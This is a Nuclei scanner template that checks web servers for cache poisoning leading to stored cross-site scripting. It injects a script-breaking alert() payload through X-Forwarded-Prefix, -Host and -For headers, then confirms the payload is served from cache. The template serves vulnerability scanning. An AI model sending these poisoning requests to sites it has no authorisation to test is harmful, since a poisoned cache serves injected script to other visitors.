nuclei-templates/http/vulnerabilities/generic/cache-poisoning-xss.yaml

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id: cache-poisoning-xss
info:
name: Cache Poisoning - Stored XSS
author: melbadry9,xelkomy,akincibor
severity: high
reference:
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
- https://portswigger.net/research/practical-web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning
tags: cache,generic,xss
variables:
cache_key: "{{to_lower(rand_base(6))}}"
cache_header: "{{to_lower(rand_base(6))}}"
xss_payload: '"></script><script>alert(document.domain);</script>'
http:
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- raw:
- |
GET /?{{cache_key}}=1 HTTP/1.1
Host: {{Hostname}}
X-Forwarded-Prefix: {{cache_header}}.xfp{{xss_payload}}
X-Forwarded-Host: {{cache_header}}.xfh{{xss_payload}}
X-Forwarded-For: {{cache_header}}.xff{{xss_payload}}
- |
GET /?{{cache_key}}=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- contains(body_2, cache_header)
- contains(body_2, xss_payload)
condition: and